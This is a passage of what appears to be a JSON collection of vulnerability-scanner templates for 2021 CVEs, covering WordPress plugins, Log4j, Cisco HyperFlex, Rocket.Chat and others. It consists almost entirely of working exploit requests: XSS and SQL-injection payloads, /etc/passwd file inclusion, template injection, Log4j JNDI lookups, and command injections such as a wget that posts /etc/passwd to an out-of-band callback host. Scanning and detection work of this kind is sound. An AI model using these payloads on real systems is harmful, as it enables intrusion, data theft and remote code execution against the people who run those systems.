\n \n \n 2\n \n /c nslookup {{interactsh-url}}\n cmd\n \n \n \n \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["System.ArgumentNullException"]}]}]},{"id":"CVE-2021-24275","info":{"name":"Popup by Supsystic <1.10.5 - Cross-Site scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin.php?page=popup-wp-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","words":[""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25118","info":{"name":"Yoast SEO 16.7-17.2 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/wp/v2/posts?per_page=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"regex","regex":["\"path\":\"(.*)/wp-content\\\\(.*)\",\"size"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":["\"path\":\"(.*)/wp-content\\\\(.*)\",\"size"],"part":"body"}]}]},{"id":"CVE-2021-24987","info":{"name":"WordPress Super Socializer <7.13.30 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[]="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{\"facebook_urls\":[[\"\"]]"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24407","info":{"name":"WordPress Jannah Theme <5.4.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["/wp-content/themes/jannah/assets/","attachment-jannah-image-"],"condition":"or"}]},{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\n\naction=tie_ajax_search&query[]=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-45046","info":{"name":"Apache Log4j2 - Remote Code Injection","severity":"critical"},"requests":[{"raw":["GET /?x=${jndi:ldap://127.0.0.1#.${hostName}.{{interactsh-url}}/a} HTTP/1.1\nHost: {{Hostname}}\nAccept: ${jndi:ldap://127.0.0.1#.${hostName}.accept.{{interactsh-url}}}\nAccept-Encoding: ${jndi:ldap://127.0.0.1#.${hostName}.acceptencoding.{{interactsh-url}}}\nAccept-Language: ${jndi:ldap://127.0.0.1#.${hostName}.acceptlanguage.{{interactsh-url}}}\nAccess-Control-Request-Headers: ${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}\nAccess-Control-Request-Method: ${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}\nAuthentication: Basic ${jndi:ldap://127.0.0.1#.${hostName}.authenticationbasic.{{interactsh-url}}}\nAuthentication: Bearer ${jndi:ldap://127.0.0.1#.${hostName}.authenticationbearer.{{interactsh-url}}}\nCookie: ${jndi:ldap://127.0.0.1#.${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${hostName}.cookievalue.{{interactsh-url}}}\nLocation: ${jndi:ldap://127.0.0.1#.${hostName}.location.{{interactsh-url}}}\nOrigin: ${jndi:ldap://127.0.0.1#.${hostName}.origin.{{interactsh-url}}}\nReferer: ${jndi:ldap://127.0.0.1#.${hostName}.referer.{{interactsh-url}}}\nUpgrade-Insecure-Requests: ${jndi:ldap://127.0.0.1#.${hostName}.upgradeinsecurerequests.{{interactsh-url}}}\nUser-Agent: ${jndi:ldap://127.0.0.1#.${hostName}.useragent.{{interactsh-url}}}\nX-Api-Version: ${jndi:ldap://127.0.0.1#.${hostName}.xapiversion.{{interactsh-url}}}\nX-CSRF-Token: ${jndi:ldap://127.0.0.1#.${hostName}.xcsrftoken.{{interactsh-url}}}\nX-Druid-Comment: ${jndi:ldap://127.0.0.1#.${hostName}.xdruidcomment.{{interactsh-url}}}\nX-Forwarded-For: ${jndi:ldap://127.0.0.1#.${hostName}.xforwardedfor.{{interactsh-url}}}\nX-Origin: ${jndi:ldap://127.0.0.1#.${hostName}.xorigin.{{interactsh-url}}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"regex","part":"interactsh_request","regex":["\\d{3}\\.\\d{1}\\.\\d{1}\\.\\d{1}\\.([a-zA-Z0-9\\.\\-]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.\\w+"]}],"extractors":[{"type":"kval","kval":null},{"type":"regex","group":2,"regex":["\\d{3}\\.\\d{1}\\.\\d{1}\\.\\d{1}\\.([a-zA-Z0-9\\.\\-]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.\\w+"]},{"type":"regex","group":1,"regex":["\\d{3}\\.\\d{1}\\.\\d{1}\\.\\d{1}\\.([a-zA-Z0-9\\.\\-]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.\\w+"],"part":"interactsh_request"}]}]},{"id":"CVE-2021-46068","info":{"name":"Vehicle Service Management System - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /classes/Login.php?f=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername={{username}}&password={{password}}\n","POST /classes/Users.php?f=save HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nid=1&firstname=Administrator%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&lastname=Admin&username=admin\n","GET /admin/?page=user HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(header_3, 'text/html')","status_code_3 == 200","contains(body_3, \"Administrator\\\"> Admin\")"],"condition":"and"}]}]},{"id":"CVE-2021-46419","info":{"name":"Telesquare TLR-2855KS6 - Arbitrary File Deletion","severity":"critical"},"requests":[{"raw":["PUT /cgi-bin/{{filename}}.txt HTTP/1.1\nHost: {{Hostname}}\nDNT: 1\n\n{{randstr}}\n","DELETE /cgi-bin/{{filename}}.txt HTTP/1.1\nHost: {{Hostname}}\nDNT: 1\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["status_code_1 == 201 && status_code_2 == 204","contains(server_1, \"lighttpd\")"],"condition":"and"}]}]},{"id":"CVE-2021-44077","info":{"name":"Zoho ManageEngine ServiceDesk Plus - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/RestAPI/ImportTechnicians"],"matchers-condition":"and","matchers":[{"type":"word","words":["

    =5","status_code == 200","contains(body, \"Please enter the email you registered with\")"],"condition":"and"}]}]},{"id":"CVE-2021-24286","info":{"name":"WordPress Plugin Redirect 404 to Parent 1.3.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/options-general.php?page=moove-redirect-settings&tab=%22+style%3Danimation-name%3Arotation+onanimationstart%3D%22alert%28document.domain%29%3B HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(content_type_2, \"text/html\")","contains(body_2, \"alert%28document.domain%29\") && contains(body_2, \"Moove redirect 404\")","status_code_2 == 200"],"condition":"and"}]}]},{"id":"CVE-2021-37704","info":{"name":"phpfastcache - phpinfo Resource Exposure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/vendor/phpfastcache/phpfastcache/docs/examples/phpinfo.php","{{BaseURL}}/vendor/phpfastcache/phpfastcache/examples/phpinfo.php"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["PHP Extension","PHP Version"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":[">PHP Version <\\/td>([0-9.]+)"],"part":"body"}]}]},{"id":"CVE-2021-27561","info":{"name":"YeaLink DM 3.6.0.20 - Remote Command Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["uid","gid","groups"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["(u|g)id=.*"]}]}]},{"id":"CVE-2021-1497","info":{"name":"Cisco HyperFlex HX Data Platform - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /auth/change HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nusername=root&password={{url_encode(payload)}}\n","POST /auth HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nusername=root&password={{url_encode(payload)}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: {{useragent}}"]}]}]},{"id":"CVE-2021-42063","info":{"name":"SAP Knowledge Warehouse <=7.5.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/SAPIrExtHelp/random/SAPIrExtHelp/random/%22%3e%3c%53%56%47%20%4f%4e%4c%4f%41%44%3d%26%23%39%37%26%23%31%30%38%26%23%31%30%31%26%23%31%31%34%26%23%31%31%36%28%26%23%78%36%34%26%23%78%36%66%26%23%78%36%33%26%23%78%37%35%26%23%78%36%64%26%23%78%36%35%26%23%78%36%65%26%23%78%37%34%26%23%78%32%65%26%23%78%36%34%26%23%78%36%66%26%23%78%36%64%26%23%78%36%31%26%23%78%36%39%26%23%78%36%65%29%3e.asp"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","SAPIKS2"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21315","info":{"name":"Node.JS System Information Library <5.3.1 - Remote Command Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20{{interactsh-url}})"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["wget --post-file /etc/passwd {{interactsh-url}}","name","running","pids"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-27319","info":{"name":"Doctor Appointment System 1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["@timeout: 10s\nPOST /contactus.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nfirstname={{randstr}}&lastname={{randstr}}&email={{randstr}}%40test.com'+AND+(SELECT+6133+FROM+(SELECT(SLEEP(6)))nOqb)+AND+'RiUU'='RiUU&comment={{randstr}}&submit=Send+Us\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 500","contains(body, \"Medical Management System\")"],"condition":"and"}]}]},{"id":"CVE-2021-40969","info":{"name":"Spotweb <= 1.5.1 - Cross Site Scripting (Reflected)","severity":"medium"},"requests":[{"raw":["POST /install.php?page=4 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsettingsform[firstname]=pdteam'+onclick='alert(document.domain)\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["onclick='alert(document.domain)","Spotweb"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24406","info":{"name":"WordPress wpForo Forum < 1.9.7 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/community/?foro=signin&redirect_to=https://interact.sh/"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2021-25075","info":{"name":"WordPress Duplicate Page or Post <1.5.1 - Cross-Site Scripting","severity":"low"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","POST /wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\naction=wpdevart_duplicate_post_parametrs_save_in_db&title_prefix=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2fXSS%2f%29+p\n","GET /wp-admin/admin.php?page=wpda_duplicate_post_menu HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["style=animation-name:rotation onanimationstart=alert(/XSS/) p","toplevel_page_wpda_duplicate_post_menu"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-41951","info":{"name":"Resourcespace - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/plugins/wordpress_sso/pages/index.php?wordpress_user=%3Cscript%3Ealert(1)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","words":["TEST"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-20837","info":{"name":"MovableType - Remote Command Injection","severity":"critical"},"requests":[{"raw":["POST /cgi-bin/mt/mt-xmlrpc.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/xml\n\n\n\n mt.handler_to_coderef\n \n \n \n \n {{base64(\"`wget http://{{interactsh-url}}`\")}}\n \n \n \n \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","words":["failed loading package"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-46381","info":{"name":"D-Link DAP-1620 - Local File Inclusion","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/apply.cgi"],"body":"action=do_graph_auth&graph_code=94102&html_response_message=just_login&html_response_page=../../../../../../../../../../../../../../etc/passwd&log_pass=DummyPass&login_n=admin&login_name=DummyName&tkn=634855349&tmp_log_pass=DummyPass&tmp_log_pass_auth=DummyPass","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2021-24997","info":{"name":"WordPress Guppy <=1.1 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"guppyUsers\":","\"userId\":","\"type\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-31856","info":{"name":"Layer5 Meshery 0.5.2 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5({{num}}))&page=0&page_size=0"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24245","info":{"name":"WordPress Stop Spammers <2021.9 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/stop-spammer-registrations-plugin/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Stop Spammers Spam Prevention","Tags:"],"condition":"and"}]},{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP+Cookie+check;\n\nlog=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["ad\" accesskey=X onclick=alert(1)"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24358","info":{"name":"Plus Addons for Elementor Page Builder < 4.1.10 - Open Redirect","severity":"medium"},"requests":[{"raw":["GET /?author=1 HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-login.php?action=theplusrp&key=&redirecturl=http://interact.sh&forgoturl=http://interact.sh&login={{username}} HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}],"extractors":[{"type":"regex","name":"username","group":1,"regex":["Author:(?:[A-Za-z0-9 -\\_=\"]+)?([A-Za-z0-9]+)<\\/span>"],"internal":true,"part":"body"},{"type":"regex","name":"username","group":1,"regex":["ion: https:\\/\\/[a-z0-9.]+\\/author\\/([a-z]+)\\/"],"internal":true,"part":"header"}]}]},{"id":"CVE-2021-41569","info":{"name":"SAS/Internet 9.4 1520 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/broker?csftyp=classic,+ssfile1%3d/etc/passwd&_SERVICE=targetservice&_DEBUG=131&_PROGRAM=sample.webcsf1.sas&sysparm=test&_ENTRY=SAMPLIB.WEBSAMP.PRINT_TO_HTML.SOURCE&BG=%23FFFFFF&DATASET=targetdataset&_DEBUG=131&TEMPFILE=Unknown&style=a+tcolor%3dblue&_WEBOUT=test&bgtype=COLOR"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24335","info":{"name":"WordPress Car Repair Services & Auto Mechanic Theme <4.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers":[{"type":"word","internal":true,"words":["/wp-content/themes/car-repair-services/css","/wp-content/themes/car-repair-services/js","id=\"car-repair-services-"],"condition":"or"}]},{"method":"GET","path":["{{BaseURL}}/car1/estimateresult/result?s=&serviceestimatekey=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-44529","info":{"name":"Ivanti EPM Cloud Services Appliance Code Injection","severity":"critical"},"requests":[{"raw":["GET /client/index.php HTTP/1.1\nHost: {{Hostname}}\nCookie: ab=ab; c=cGhwaW5mbygpOw==; d=; e=;\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["phpinfo()","Cloud Services Appliance"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24731","info":{"name":"Pie Register < 3.7.1.6 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /wp-json/pie/v1/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nuser_login='+AND+(SELECT+8149+FROM+(SELECT(SLEEP(3)))NuqO)+AND+'YvuB'='YvuB&login_pass=a\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"application/json\")","contains(body, \"User credentials are invalid.\")"],"condition":"and"}]}]},{"id":"CVE-2021-22122","info":{"name":"FortiWeb - Cross Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/error3?msg=30&data=';alert('document.domain');//","{{BaseURL}}/omni_success?cmdb_edit_path=\");alert('document.domain');//"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["alert('document.domain')","No policy has been chosen."],"condition":"and"}]}]},{"id":"CVE-2021-38702","info":{"name":"Cyberoam NetGenie Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/tweb/ft.php?u=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-46073","info":{"name":"Vehicle Service Management System 1.0 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /vehicle_service/classes/Login.php?f=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername={{username}}&password={{password}}\n","POST /vehicle_service/classes/Users.php?f=save HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nfirstname=test1%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&lastname=test&username=test&password=test&type=1\n","GET /vehicle_service/admin/?page=user/list HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(header_3, 'text/html')","status_code_3 == 200","contains(body_3, \" Test\")"],"condition":"and"}]}]},{"id":"CVE-2021-35323","info":{"name":"Bludit 3.13.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /bludit/admin/login HTTP/1.1\nHost: {{Hostname}}\n","@timeout: 10s\nPOST /bludit/admin/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ntokenCSRF={{tokenCSRF}}&username=admin%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&password=pass&save=\n"],"host-redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"\") && contains(body_2, \"Bludit\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"tokenCSRF","part":"body","group":1,"regex":["type=\"hidden\" id=\"jstokenCSRF\" name=\"tokenCSRF\" value=\"(.*)\""],"internal":true}]}]},{"id":"CVE-2021-25052","info":{"name":"WordPress Button Generator <2.3.3 - Remote File Inclusion","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=wow-company&tab=http://{{interactsh-url}}/ HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","name":"http","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-38704","info":{"name":"ClinicCases 7.3.3 Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/cliniccases/lib/php/data/messages_load.php?type=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25033","info":{"name":"Noptin < 1.6.5 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?noptin_ns=email_click&to=https://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2021-21803","info":{"name":"Advantech R-SeeNet - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/php/device_graph_page.php?is2sim=%22zlo%20onerror=alert(1)%20%22"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"zlo onerror=alert(1) \"","Device Status Graph"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-41749","info":{"name":"CraftCMS SEOmatic - Server-Side Template Injection","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\nX-Forwarded-Host: {{Hostname}}/{{marker}}{{{{num1}}*{{num2}}}}\nCache-Control: max-age=0\n\n","GET / HTTP/1.1\nHost: {{Hostname}}\nX-Forwarded-Host: xxx{{['cat /etc/passwd']|filter('system')}}bbb\nCache-Control: max-age=0\n\n"],"skip-variables-check":true,"stop-at-first-match":true,"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["contains(body_1, \"/{{marker}}{{result}}\") || regex(\"root:.*:0:0:\", body_2)","contains_any(body, \"Craft CMS\", \"SEOmatic\" ,\"CRAFT_CSRF\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2021-24409","info":{"name":"Prismatic < 2.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/options-general.php?page=prismatic&tab=%22+style%3Danimation-name%3Arotation+onanimationend%3Dalert(document.domain)%2F%2F%22 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"Leave A Review?\")","contains(body_2, \"onanimationend=alert(document.domain)\")"],"condition":"and"}]}]},{"id":"CVE-2021-40822","info":{"name":"Geoserver - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["POST /geoserver/TestWfsPost HTTP/1.1\nHost: oast.pro\nContent-Type: application/x-www-form-urlencoded\n\nform_hf_0=&url=http://oast.pro/geoserver/../&body=&username=&password=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Interactsh"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-31249","info":{"name":"CHIYU TCP/IP Converter - Carriage Return Line Feed Injection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/man.cgi?redirect=setting.htm%0d%0a%0d%0a&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Location: setting.htm",""],"condition":"and"},{"type":"status","status":[302]}]}]},{"id":"CVE-2021-20092","info":{"name":"Buffalo WSR-2533DHPL2 - Improper Access Control","severity":"high"},"requests":[{"raw":["GET /images/..%2finfo.html HTTP/1.1\nHost: {{Hostname}}\nReferer: {{BaseURL}}/info.html\n","GET /images/..%2fcgi/cgi_i_filter.js?_tn={{trimprefix(base64_decode(httoken), base64_decode(\"R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\"))}} HTTP/1.1\nHost: {{Hostname}}\nCookie: lang=8; url=ping.html; mobile=false;\nReferer: {{BaseURL}}/info.html\nContent-Type: application/x-www-form-urlencoded\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/x-javascript"]},{"type":"word","words":["/*DEMO*/","addCfg("],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"httoken","group":1,"regex":["base64\\,(.*?)\" border="],"internal":true}]}]},{"id":"CVE-2021-37833","info":{"name":"Hotel Druid 3.0.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/visualizza_tabelle.php?anno=2021&tipo_tabella=prenotazioni&sel_tab_prenota=tutte&wo03b%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ew5px3=1","{{BaseURL}}/storia_soldi.php?piu17%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ee3esq=1","{{BaseURL}}/tabella.php?jkuh3%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Eyql8b=1","{{BaseURL}}/crea_modelli.php?anno=2021&id_sessione=&fonte_dati_conn=attuali&T_PHPR_DB_TYPE=postgresql&T_PHPR_DB_NAME=%C2%9E%C3%A9e&T_PHPR_DB_HOST=localhost&T_PHPR_DB_PORT=5432&T_PHPR_DB_USER=%C2%9E%C3%A9e&T_PHPR_DB_PASS=%C2%9E%C3%A9e&T_PHPR_LOAD_EXT=NO&T_PHPR_TAB_PRE=%C2%9E%C3%A9e&anno_modello=2021&lingua_modello=en&cambia_frasi=SIipq85%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ef9xkbujgt24&form_availability_calendar_template=1"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-22911","info":{"name":"Rocket.Chat <=3.13 - NoSQL Injection","severity":"critical"},"requests":[{"raw":["POST /api/v1/method.callAnon/getPasswordPolicy HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"message\": \"{\\\"msg\\\":\\\"method\\\", \\\"method\\\": \\\"getPasswordPolicy\\\", \\\"params\\\": [{\\\"token\\\": {\\\"$regex\\\": \\\"^{{randstr}}\\\"}}] 